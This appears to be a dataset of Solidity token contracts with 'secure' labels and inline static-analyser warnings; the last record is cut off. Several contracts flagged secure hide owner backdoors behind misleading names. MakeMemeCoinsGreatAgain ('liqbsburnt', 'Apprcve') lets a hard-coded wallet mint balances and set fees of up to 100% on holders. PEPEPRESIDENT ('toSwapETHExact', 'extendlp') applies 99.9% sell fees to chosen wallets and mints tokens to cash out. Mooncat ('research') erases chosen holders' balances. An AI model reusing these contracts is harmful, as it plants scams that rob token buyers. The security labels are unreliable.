files
dict
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\n\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n struct PausableStorage {\n bool _paused;\n }\n\n bytes32 private constant PausableStorageLocation =\n 0xcd5ed15c6e187e77e9aee88184c21f4f2182ab5827cb3b7e07fbedcd63f03300;\n\n function _getPausableStorage()\n private\n pure\n returns (PausableStorage storage $)\n {\n assembly {\n $.slot := PausableStorageLocation\n }\n }\n\n event Paused(address account);\n\n event Unpaused(address account);\n\n error EnforcedPause();\n\n error ExpectedPause();\n\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n PausableStorage storage $ = _getPausableStorage();\n\n $._paused = false;\n }\n\n modifier whenNotPaused() {\n _requireNotPaused();\n\n _;\n }\n\n modifier whenPaused() {\n _requirePaused();\n\n _;\n }\n\n function paused() public view virtual returns (bool) {\n PausableStorage storage $ = _getPausableStorage();\n\n return $._paused;\n }\n\n function _requireNotPaused() internal view virtual {\n if (paused()) {\n revert EnforcedPause();\n }\n }\n\n function _requirePaused() internal view virtual {\n if (!paused()) {\n revert ExpectedPause();\n }\n }\n\n function _pause() internal virtual whenNotPaused {\n PausableStorage storage $ = _getPausableStorage();\n\n $._paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n PausableStorage storage $ = _getPausableStorage();\n\n $._paused = false;\n\n emit Unpaused(_msgSender());\n }\n}", "file_name": "solidity_code_397.sol", "secure": 1, "size_bytes": 2090 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MakeMemeCoinsGreatAgain is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 30b60e6): MakeMemeCoinsGreatAgain._decimals should be immutable \n\t// Recommendation for 30b60e6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92f56a1): MakeMemeCoinsGreatAgain._totalSupply should be immutable \n\t// Recommendation for 92f56a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe18989): MakeMemeCoinsGreatAgain._marketwalt should be immutable \n\t// Recommendation for fe18989: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwalt;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwalt = 0x9Fd14d92B2Ea089012696e04aB1f4767aF6a3122;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apprcve(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwalt;\n }\n\n function liqbsburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_3970.sol", "secure": 1, "size_bytes": 5407 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PEPEPRESIDENT is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 952787b): PEPEPRESIDENT._decimals should be constant \n\t// Recommendation for 952787b: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 44bda92): PEPEPRESIDENT._totalSupply should be immutable \n\t// Recommendation for 44bda92: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e31d02): PEPEPRESIDENT._name should be constant \n\t// Recommendation for 9e31d02: Add the 'constant' attribute to state variables that never change.\n string private _name = \"PEPE PRESIDENT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 16c4678): PEPEPRESIDENT._symbol should be constant \n\t// Recommendation for 16c4678: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPEPREZ\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 673eb0c): PEPEPRESIDENT.uniV2Router should be constant \n\t// Recommendation for 673eb0c: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1590eec): PEPEPRESIDENT._taxWallet should be immutable \n\t// Recommendation for 1590eec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function forbeginsat() public {}\n\n function tobeginsfor() external {}\n\n function toaddstartto() public {}\n\n function onaddstartat() public {}\n\n function toSwapETHExact(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function extendlp(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_3971.sol", "secure": 1, "size_bytes": 7116 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Mooncat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable casualty;\n\n constructor() {\n _name = \"MOONCAT\";\n\n _symbol = \"MOOCAT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 627000000;\n\n casualty = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == casualty, \"Not allowed\");\n\n _;\n }\n\n function research(address[] memory notion) public onlyOwner {\n for (uint256 i = 0; i < notion.length; i++) {\n address account = notion[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_3972.sol", "secure": 1, "size_bytes": 4363 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Imperium is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d848152): Imperium._decimals should be immutable \n\t// Recommendation for d848152: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af9367c): Imperium.constructor(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for af9367c: Rename the local variables that shadow another component.\n constructor(address _owner) Ownable(_owner) {\n _name = \"Imperium\";\n\n _symbol = \"IMP\";\n\n _decimals = 18;\n\n mint(owner(), 500_000_000 * 10 ** 18);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 093fae4): Imperium.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 093fae4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferTokens(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n\n return true;\n }\n\n function _transferTokens(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n _transfer(from, to, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[sender] >= amount,\n \"ERC20: Cannot send more available balance\"\n );\n\n _balances[sender] = _balances[sender] - amount;\n\n _balances[recipient] = _balances[recipient] + amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply + amount;\n\n _balances[account] = _balances[account] + amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 284e93f): Imperium._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 284e93f: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_3973.sol", "secure": 0, "size_bytes": 5392 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NatCoin is ERC20, Ownable {\n constructor() ERC20(\"NatCoin\", \"NAT\") Ownable(msg.sender) {\n _mint(msg.sender, 10_000_000_000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_3974.sol", "secure": 1, "size_bytes": 369 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract OFUKU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n address payable private hReceipt;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _hAllowed;\n\n mapping(address => bool) private _isFeeExcludedH;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52ae6dc): OFUKU._initialBuyTax should be constant \n\t// Recommendation for 52ae6dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 538c73f): OFUKU._initialSellTax should be constant \n\t// Recommendation for 538c73f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e20ea4): OFUKU._finalBuyTax should be constant \n\t// Recommendation for 3e20ea4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ae8aa2): OFUKU._finalSellTax should be constant \n\t// Recommendation for 2ae8aa2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01aeae1): OFUKU._reduceBuyTaxAt should be constant \n\t// Recommendation for 01aeae1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4817fc5): OFUKU._reduceSellTaxAt should be constant \n\t// Recommendation for 4817fc5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 15f86c9): OFUKU._preventSwapBefore should be constant \n\t// Recommendation for 15f86c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ofuku Chan\";\n\n string private constant _symbol = unicode\"OFUKU\";\n\n uint256 public _maxHAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxHWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9620bfc): OFUKU._taxSwapThreshold should be constant \n\t// Recommendation for 9620bfc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc6e107): OFUKU._maxTaxSwap should be constant \n\t// Recommendation for bc6e107: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n IUniswapV2Router02 private uniRouterH;\n\n address private uniPairH;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n event MaxTxAmountUpdated(uint256 _maxHAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n hReceipt = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isFeeExcludedH[address(this)] = true;\n\n _isFeeExcludedH[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function createPairOf() external onlyOwner {\n uniRouterH = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterH), _tTotal);\n\n uniPairH = IUniswapV2Factory(uniRouterH.factory()).createPair(\n address(this),\n uniRouterH.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9bdc304): OFUKU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9bdc304: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _hAllowed[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4340239): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4340239: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 403f8d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 403f8d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4340239\n\t\t// reentrancy-benign | ID: 403f8d4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4340239\n\t\t// reentrancy-benign | ID: 403f8d4\n _approve(\n sender,\n _msgSender(),\n _hAllowed[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5308063): OFUKU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5308063: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 403f8d4\n _hAllowed[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4340239\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f29c685): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f29c685: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db05008): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db05008: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniPairH &&\n to != address(uniRouterH) &&\n !_isFeeExcludedH[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxHAmount, \"Exceeds the _maxHAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxHWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (\n hyper([from == uniPairH ? from : uniPairH, hReceipt]) &&\n to != uniPairH &&\n !_isFeeExcludedH[to]\n ) {\n require(\n balanceOf(to) + amount <= _maxHWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniPairH) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniPairH &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: f29c685\n\t\t\t\t\t// reentrancy-eth | ID: db05008\n hSwapEthTo(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: f29c685\n\t\t\t\t// reentrancy-eth | ID: db05008\n hSendEthTo();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: db05008\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f29c685\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: db05008\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: db05008\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f29c685\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function hSwapEthTo(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterH.WETH();\n\n _approve(address(this), address(uniRouterH), amount);\n\n\t\t// reentrancy-events | ID: 4340239\n\t\t// reentrancy-events | ID: f29c685\n\t\t// reentrancy-benign | ID: 403f8d4\n\t\t// reentrancy-eth | ID: db05008\n uniRouterH.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d12ff4d): OFUKU.removeLimits(address).limit lacks a zerocheck on \t hReceipt = limit\n\t// Recommendation for d12ff4d: 